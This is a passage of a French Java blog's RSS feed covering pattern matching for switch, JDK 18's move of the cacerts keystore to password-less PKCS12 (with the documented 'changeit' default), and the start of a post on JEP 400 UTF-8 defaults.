        formatted = String.format(&quot;double %f&quot;, d);
    } else if (o instanceof String s) {
        formatted = String.format(&quot;String %s&quot;, s);
    }
    return formatted;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de pouvoir utiliser un filtrage par motif au niveau du &lt;code&gt;switch&lt;/code&gt; (et même une expression &lt;code&gt;switch&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -&amp;gt; String.format(&quot;int %d&quot;, i);
        case Long l    -&amp;gt; String.format(&quot;long %d&quot;, l);
        case Double d  -&amp;gt; String.format(&quot;double %f&quot;, d);
        case String s  -&amp;gt; String.format(&quot;String %s&quot;, s);
        default        -&amp;gt; o.toString();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour reprendre l&amp;#8217;ensemble des fonctionnalités du filtrage par motif, je vous conseille l&amp;#8217;article initiale sur cette fonctionnalité &lt;a href=&quot;/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html&quot;&gt;JEP 406 - Pattern Matching for switch (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouveautés&quot;&gt;Nouveautés&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;traitement_du_null&quot;&gt;Traitement du &lt;code&gt;null&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Jusqu&amp;#8217;à présent, la déclaration ou l&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt; avec une valeur &lt;code&gt;null&lt;/code&gt; lève une exception &lt;code&gt;NullPointerException&lt;/code&gt;. C&amp;#8217;est pourquoi, généralement, le &lt;code&gt;switch&lt;/code&gt; est protégé par l&amp;#8217;instruction &lt;code&gt;if&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    if (s == null) {
        System.out.println(&quot;Oops!&quot;);
        return;
    }
    switch (s) {
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pourrons écrire un label &lt;code&gt;null&lt;/code&gt; pour traiter ce cas. Nous pouvons écrire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    switch (s) {
        case null         -&amp;gt; System.out.println(&quot;Oops&quot;);
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le label peut être mélangé avec un autre. Par exemple, nous pouvons écrire aussi&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -&amp;gt; System.out.println(&quot;String: &quot; + s);
        default -&amp;gt; System.out.println(&quot;Something else&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour de raisons de compatibilité, si la valeur du sélecteur est &lt;code&gt;nulle&lt;/code&gt;, le &lt;code&gt;switch&lt;/code&gt; lève une exception &lt;code&gt;NullPointerException&lt;/code&gt;. C&amp;#8217;est à dire que le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case String s  -&amp;gt; System.out.println(&quot;String: &quot; + s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default        -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;est équivalent à celui-ci&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case null      -&amp;gt; throw new NullPointerException();
        case String s  -&amp;gt; System.out.println(&quot;String: &quot;+s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default        -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Là encore, c&amp;#8217;est le compilateur qui fait le travail.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà du motif avec le type correspondant, nous pourrions avoir des conditions supplémentaires qui permet de raffiner le cas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons un exemple avec les classes suivantes : &lt;code&gt;Forme&lt;/code&gt;, &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Triangle&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Forme {}
class Rectangle extends Forme {}
class Triangle  extends Forme { int calculerAire() { ... } }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons traiter par type, entre &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Triangle&lt;/code&gt;. Cependant, nous aimerions définir des conditions supplémentaires. Par exemple, nous voulons traiter les triangles dont l&amp;#8217;aire est supérieur à 100.
Voici le code que nous devons écrire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case null:
            break;
        case Triangle t:
            if (t.calculerAire() &amp;gt; 100) {
                System.out.println(&quot;Grand triangle&quot;);
                break;
            }
        default:
            System.out.println(&quot;Une forme, qui peut être un petit triangle&quot;);
    }
}
----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec cette JEP, un nouveau mot-clé &lt;code&gt;when&lt;/code&gt; est introduit. Il permet de raffiner le cas. Dans notre exemple, nous avons &lt;code&gt;t.calculateArea() &amp;gt; 100&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() &amp;gt; 100 -&amp;gt;
            System.out.println(&quot;Grand triangle&quot;);
        default -&amp;gt;
            System.out.println(&quot;Une forme, qui peut être un petit triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, il est possible de mixer les composants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() &amp;gt; 100 -&amp;gt;
            System.out.println(&quot;Grand triangle&quot;);
        case Triangle t -&amp;gt;
            // Soit les triangles inférieur ou égale à 100
            System.out.println(&quot;Petit triangle&quot;);
        default -&amp;gt;
            System.out.println(&quot;Forme autre que triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Personnellement, j&amp;#8217;adore cette possibilité. et vous ?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 406: Pattern matching for switch&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/420&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 420: Pattern matching for switch (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/427&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 427: Pattern matching for switch (Third Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#375_pattern_matching_for_instanceof_second_preview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet sur JEP 375 - Pattern Matching for instanceof (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html&quot;&gt;Billet sur JEP 406 - Pattern Matching for switch (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Au revoir, au mot de passe le plus connu du monde Java</title>
      <link>https://www.lilian-benoit.fr/2022/02/Au-revoir-mot-de-passe-le-plus-connu-du-monde-Java.html</link>
      <pubDate>dim., 13 févr. 2022 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2022/02/Au-revoir-mot-de-passe-le-plus-connu-du-monde-Java.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pkcs12&quot;&gt;PKCS#12&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#deux_changements_dans_le_jdk_18&quot;&gt;Deux changements dans le JDK 18&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#jdk_8275252_migrate_cacerts_from_jks_to_password_less_pkcs12&quot;&gt;JDK-8275252: Migrate cacerts from JKS to password-less PKCS12&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jdk_8231107_allow_store_password_to_be_null_when_saving_a_pkcs12_keystore&quot;&gt;JDK-8231107: Allow store password to be null when saving a PKCS12 KeyStore&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En java, lorsque nous voulons faire des communications sécurisées, nous manipulons des certificats. Pour cela, nous devons généralement ajouter des certificats dans le magasin de clés (keystore). Les configurations peuvent être particulière mais généralement, c&amp;#8217;est le fameux &lt;code&gt;cacerts&lt;/code&gt; qui est utilisé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;keytool -list -cacerts&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons la traditionnelle question où généralement, nous écrivons &lt;code&gt;changeit&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Entrez le mot de passe du fichier de clés :&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Avec un JDK plus anciens (&amp;lt; = 8), il faut préciser le magasin en question même si c&amp;#8217;est celui par défaut &lt;code&gt;keytool -list -keystore java.home/lib/security/cacerts&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le mot de passe est connu par beaucoup de développeur Java ou administrateur système exploitant des applications Java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;information est connue. Elle est tout simplement écrite dans les pages du manuel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;The initial password of the cacerts keystore file is changeit.
System administrators should change that password and
the default access permission of that file upon installing the SDK.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;pkcs12&quot;&gt;PKCS#12&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A l&amp;#8217;instar du format JKS (Java KeyStore) spécifique à Java, le format PKCS#12 est une norme de la famille des standards de cryptographie à clé publique (Public-Key Cryptography Standards [&lt;a href=&quot;https://fr.wikipedia.org/wiki/PKCS12&quot;&gt;PKCS&lt;/a&gt;])&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but de ce format (comme l&amp;#8217;était le format JKS) est d&amp;#8217;avoir un seul fichier qui contient un ensemble de clé privés et de certificats.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cette norme est supportée par la commande &lt;code&gt;openssl&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le support du format PKCS#12 a été introduit au fur et à mesure des versions de Java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une étape importante est franchie dans le JDK 9. En effet la &lt;a href=&quot;https://openjdk.java.net/jeps/229&quot;&gt;JEP 229&lt;/a&gt; définit le format PKCS12 comme format par défaut pour les magasins de clés (et non plus le format JKS). Cela donne le top départ pour la phase de transition vers PKCS#12 (soit 5 ans depuis septembre 2017) en gardant toujours le support de JKS (aujourd&amp;#8217;hui encore)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;deux_changements_dans_le_jdk_18&quot;&gt;Deux changements dans le JDK 18&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les deux points que nous allons voir ne sont pas des JEP mais simplement des améliorations.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Comme quoi, il est toujours intéressant de lire les notes de version lors de la sortie d&amp;#8217;un JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jdk_8275252_migrate_cacerts_from_jks_to_password_less_pkcs12&quot;&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8275252&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JDK-8275252: Migrate cacerts from JKS to password-less PKCS12&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le magasins de clé &lt;code&gt;cacerts&lt;/code&gt; sera à partir du JDK 18 au format PKCS#12.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, en utilisant la commande &lt;code&gt;keytool&lt;/code&gt; pour voir le contenu du magasin par défaut du JDK 17, nous voyons que le format utilisé est le format JKS.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;/opt/jdk-17.0.1+12/bin/keytool -list -cacerts | head
Enter keystore password:  changeit
Keystore type: JKS
Keystore provider: SUN

Your keystore contains 128 entries

c=at,o=e-commerce monitoring gmbh,cn=globaltrust 2020, Oct 20, 2021, trustedCertEntry,
Certificate fingerprint (SHA-256): 9A:29:6A:51:82:D1:D4:51:A2:E3:7F:43:9B:74:DA:AF:A2:67:52:33:29:F9:0F:9A:0D:20:07:C3:34:E2:3C:9A
c=be,o=globalsign nv-sa,cn=globalsign root e46, Oct 20, 2021, trustedCertEntry,
Certificate fingerprint (SHA-256): CB:B9:C4:4D:84:B8:04:3E:10:50:EA:31:A6:9F:51:49:55:D7:BF:D2:E2:C6:B4:93:01:01:9A:D6:1D:9F:50:58
c=be,o=globalsign nv-sa,cn=globalsign root r46, Oct 20, 2021, trustedCertEntry,
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, avec le JDK 18, en utilisant la commande &lt;code&gt;keytool&lt;/code&gt; pour voir le contenu du magasin de clé &lt;code&gt;cacerts&lt;/code&gt; fournis, le format est PKCS12.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;/opt/jdk-18/bin/keytool -list -cacerts | head
.Keystore type: PKCS12
Keystore provider: SUN

Your keystore contains 89 entries

actalisauthenticationrootca [jdk], Mar 2, 2022, trustedCertEntry,
Certificate fingerprint (SHA-256): 55:92:60:84:EC:96:3A:64:B9:6E:2A:BE:01:CE:0B:A8:6A:64:FB:FE:BC:C7:AA:B5:AF:C1:55:B3:7F:D7:60:66
addtrustexternalca [jdk], Mar 2, 2022, trustedCertEntry,
Certificate fingerprint (SHA-256): 68:7F:A4:51:38:22:78:FF:F0:C8:B1:1F:8D:43:D5:76:67:1C:6E:B2:BC:EA:B4:13:FB:83:D9:65:D0:6D:2F:F2
addtrustqualifiedca [jdk], Mar 2, 2022, trustedCertEntry,
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jdk_8231107_allow_store_password_to_be_null_when_saving_a_pkcs12_keystore&quot;&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8231107&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JDK-8231107: Allow store password to be null when saving a PKCS12 KeyStore&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce point correspond en réalité plus à une correction. C&amp;#8217;est la possibilité de ne pas fournir de mot de passe. D&amp;#8217;où la possibilité de mettre &lt;code&gt;null&lt;/code&gt; comme valeur de mot de passe au niveau de l&amp;#8217;API.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;KeyStore magasin = magasin.getInstance(&quot;pkcs12&quot;);
...
magasin.store(outputStream, null);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Naturellement, mais c&amp;#8217;est mieux en le précisant, nous pourrons lire un magasin PKCS12 sans mot de passe&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;magasin.load(inputStream, null);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cela implique aussi que les certificats inclus dans le magasin ne seront plus chiffrés.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK 18 passe donc au format PKCS12 sans mot de passe pour son magasin &lt;code&gt;cacerts&lt;/code&gt;. Il n&amp;#8217;y aura plus de mot de passe &lt;code&gt;changeit&lt;/code&gt; à fournir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela sera plus simple et aussi protégé qu&amp;#8217;un mot de passe connu par tout le monde.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, les administrateurs pourront même utiliser la commande &lt;code&gt;openssl&lt;/code&gt; qui leur sera peut être plus familière par rapport à la commande &lt;code&gt;keytool&lt;/code&gt; du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; En production, pour des raisons de sécurité, il sera &lt;strong&gt;toujours possible et nécessaire&lt;/strong&gt; de définir un mot de passe pour les magasins de clés. Pour rappel, &lt;strong&gt;pas de mot de passe&lt;/strong&gt; implique &lt;strong&gt;pas de chiffrement&lt;/strong&gt; pour les certificats.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8231107&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) JDK-8231107: Allow store password to be null &amp;#8230;&amp;#8203; a PKCS12 KeyStore&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8275252&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) JDK-8275252: Migrate cacerts from JKS to password-less PKCS12 &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/17/docs/specs/man/keytool.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Command keytool&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7292&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) rfc7292&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://fr.wikipedia.org/wiki/PKCS12&quot;&gt;Wikipedia sur PKCS12&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/229&quot;&gt;(en) JEP 229: Create PKCS12 Keystores by Default&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 400, UTF-8 par défaut</title>
      <link>https://www.lilian-benoit.fr/2022/01/JEP-400-UTF-8-par-defaut.html</link>
      <pubDate>dim., 23 janv. 2022 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2022/01/JEP-400-UTF-8-par-defaut.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#le_choix&quot;&gt;Le choix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#passage_de_propriété_pour_jshell&quot;&gt;Passage de propriété pour jshell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#préparation&quot;&gt;Préparation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelle_propriété&quot;&gt;Nouvelle propriété&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fichier_de_propriétés&quot;&gt;Fichier de propriétés&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
